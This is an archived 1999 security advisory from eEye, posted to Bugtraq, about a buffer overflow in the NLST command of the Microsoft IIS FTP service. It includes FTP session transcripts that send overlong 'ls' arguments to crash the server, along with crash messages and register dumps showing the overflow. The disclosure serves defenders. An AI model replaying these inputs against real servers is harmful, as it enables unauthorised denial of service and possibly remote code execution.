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eeye.99-01-24.iis.ftp.dos

eeye.99-01-24.iis.ftp.dos
Posted Sep 23, 1999

eeye.99-01-24.iis.ftp.dos

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eeye.99-01-24.iis.ftp.dos

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From Marc@EEYE.COM Sat Feb 13 00:19:58 1999
From: Marc <Marc@EEYE.COM>
To: BUGTRAQ@netspace.org
Date: Sun, 24 Jan 1999 07:56:09 -0800
Subject: Advisory: IIS FTP Exploit/DoS Attack

[The following text is in the "iso-8859-1" character set]
[Your display is set for the "US-ASCII" character set]
[Some characters may be displayed incorrectly]

________________________________________________________________________

eEye Digital Security Team <e>
www.eEye.com
info@eEye.com
Sunday, January 24, 1999
________________________________________________________________________

Advisory:
IIS Remote FTP Exploit/DoS Attack

Systems Tested:
Windows NT 4.0 (SP4) IIS 3.0 / 4.0
Windows 95/98 PWS 1.0

Release Date:
Sunday, January 24, 1999

Advisory Code:
IISE01
________________________________________________________________________

Description:
________________________________________________________________________

While feeding in logic into Retina's artificial intelligence engine,
which helps construct query strings to pass to internet servers,
checking for overflow bugs and miss parsing of command strings. Our test
server stopped responding. Below is our findings.

Microsoft IIS (Internet Information Server) FTP service contains a
buffer overflow in the NLST command. This could be used to DoS a remote
machine and in some cases execute code remotely.

Lets look at the following example attack. [Comments are in brackets.]

The server must either have anonymous access rights or an attacker must
have an account.

C:\>ftp guilt.xyz.com
Connected to guilt.xyz.com.
220 GUILT Microsoft FTP Service (Version 4.0).
User (marc.xyz.com:(none)): ftp
331 Anonymous access allowed, send identity (e-mail name) as password.
Password:
230 Anonymous user logged in.

ftp> ls AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

200 PORT command successful.
150 Opening ASCII mode data connection for file list.
[The server has now processed our long NLST request and has crashed]
-> ftp: get :Connection reset by peer
[Our ftp client looses connection... that is a given]

The above example uses 316 characters to overflow. This is the smallest
possible buffer to pass that will overflow IIS. Lets take a look at the
server side happenings.

On the server side we have an "Application Error" message for
inetinfo.exe. "The instruction at '0x710f8aa2' referenced memory at
'0x41414156'. The memory could not be 'read'."

If we take a look at our registers we will see the following:

EAX = 0000005C EBX = 00000001
ECX = 00D3F978 EDX = 002582DD
ESI = 00D3F978 EDI = 00000000
EIP = 710F8AA2 ESP = 00D3F644
EBP = 00D3F9F0 EFL = 00000206

There is no 41 hex (Our overflow character) in any of our registers so
we chalk this up as a DoS attack for now.

Lets move on and take a look at the largest string we can pass to
overflow IIS.

C:\>ftp guilt.xyz.com
Connected to guilt.xyz.com.
220 GUILT Microsoft FTP Service (Version 4.0).
User (marc.xyz.com:(none)): ftp
331 Anonymous access allowed, send identity (e-mail name) as password.
Password:
230 Anonymous user logged in.
[The server must either have anonymous access rights or an attacker must
have an account]

ftp> ls AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAA

200 PORT command successful.
150 Opening ASCII mode data connection for file list.
Connection closed by remote host.

In this case we passed 505 characters to overflow IIS. This is the
largest possible (tested) buffer to pass that will overflow IIS. Lets
take a look once again at the server side.

On the server we have the same "Application Error" message for
inetinfo.exe except this time "The instruction at '0x722c9262'
referenced memory at "0x41414141'." This is looking mighty interesting.
Lets look at our registers once again:

EAX = 00000000 EBX = 41414141
ECX = 41414141 EDX = 722C1CAC
ESI = 41414141 EDI = 41414141
EIP = 722C9262 ESP = 00D3F524
EBP = 00D3F63C EFL = 00000246

There sure are a lot of 41 hex codes in our registers now. >:-]

So to wrap it all up what we have here is a DoS attack against any IIS
server with ftp access. Keep in mind we have to be able to login.
However, Anonymous access is granted on most servers. Once we have
overflowed IIS all IIS services will fail. (I.E. The web service, NNTP,
SMTP etc..) What we have seems to be a very interesting buffer overflow.

________________________________________________________________________

Special Thanks
________________________________________________________________________

The eEye Digital Security Team would like to extend a special thanks to
Mudge and Dildog.

________________________________________________________________________

Copyright (c) 1999 eEye Digital Security Team
________________________________________________________________________

Permission is hereby granted for the redistribution of this alert
electronically. It is not to be edited in any way without express
consent of eEye. If you wish to reprint the whole or any part of this
alert in any other medium excluding electronic medium, please e-mail
alert@eEye.com for permission.

________________________________________________________________________

Disclaimer:
________________________________________________________________________

The information within this paper may change without notice. Use of this
information constitutes acceptance for use in an AS IS condition. There
are NO warranties with regard to this information. In no event shall the
author be liable for any damages whatsoever arising out of or in
connection with the use or spread of this information. Any use of this
information is at the user's own risk.

Please send suggestions, updates, and comments to: alert@eEye.com

eEye Digital Security Team
http://www.eEye.com
info@eEye.com
________________________________________________________________________
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